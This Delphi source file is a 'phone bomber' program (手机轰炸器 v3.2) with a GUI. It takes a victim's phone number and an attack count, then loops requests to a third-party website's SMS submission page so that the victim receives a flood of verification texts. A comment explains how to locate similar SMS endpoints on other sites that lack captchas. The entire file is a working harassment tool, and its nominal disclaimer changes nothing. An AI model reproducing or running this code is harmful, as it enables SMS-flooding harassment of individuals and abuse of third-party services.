unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, SUIForm, SUIButton, OleCtrls, SHDocVw, StdCtrls,
SUIEdit, SUIDlg, jpeg;
type
TForm1 = class(TForm)
suiForm1: TsuiForm;
Label1: TLabel;
Label2: TLabel;
suiEdit1: TsuiEdit;
suiEdit2: TsuiEdit;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
WebBrowser1: TWebBrowser;
suiButton1: TsuiButton;
suiButton2: TsuiButton;
suiMessageDialog1: TsuiMessageDialog;
Image1: TImage;
procedure suiButton1Click(Sender: TObject);
procedure suiButton2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
sendmsgthread=class(TThread)
protected
procedure execute;override;
end;
var
Form1: TForm1;
mysend: sendmsgthread;
k, i,j:integer;
implementation
{$R *.dfm}
//发送短信的线程
procedure sendmsgthread.execute;
var
n:integer;
begin
n:=strtoint(form1.suiedit2.Text);
try
for j:=1 to n do
begin
form1.WebBrowser1.Navigate('http://www.e9160.com/SMS_Submit.asp?userNumber='+form1.suiedit1.Text);//此处可自行分析网站提交数据的页面。一般主要是一个手机号码的参数,如果有验证码,那就不能利用了!
form1.label4.Caption:=inttostr(j);//显示发了几条了
sleep(4000);//间隔2.5秒
end;
except
mysend.Terminate ;
end;
form1.suiButton1.Enabled :=true;
self.FreeOnTerminate :=true;
end;
procedure TForm1.suiButton1Click(Sender: TObject);
begin
if suiedit1.Text='' then
begin
MessageBox(Application.Handle,'请填写攻击的手机号码','手机轰炸器',MB_OK or MB_ICONINFORMATION);
//showmessage('请填写攻击的手机号码');
abort;
end;
{if suiedit1.Text='139100000' then
begin
MessageBox(Application.Handle,'老兄,有话好好说,不要攻击作者嘛','手机轰炸器',MB_OK or MB_ICONINFORMATION);
//showmessage('请填写攻击的次数');
abort;
end; }
if suiedit2.Text='' then
begin
MessageBox(Application.Handle,'请填写攻击的次数','手机轰炸器',MB_OK or MB_ICONINFORMATION);
//showmessage('请填写攻击的次数');
abort;
end ;
sendmsgthread.Create(false);
end;
procedure TForm1.suiButton2Click(Sender: TObject);
begin
suimessagedialog1.Text:='手机轰炸器 Version 3.2'+#13#13'本程序由 邵杰 设计'+#13+#13+'联系E-mail:yctcsj@163.com'+#13+#13+'不要用于恶意攻击,后果自负';
suimessagedialog1.ShowModal;
end;
end.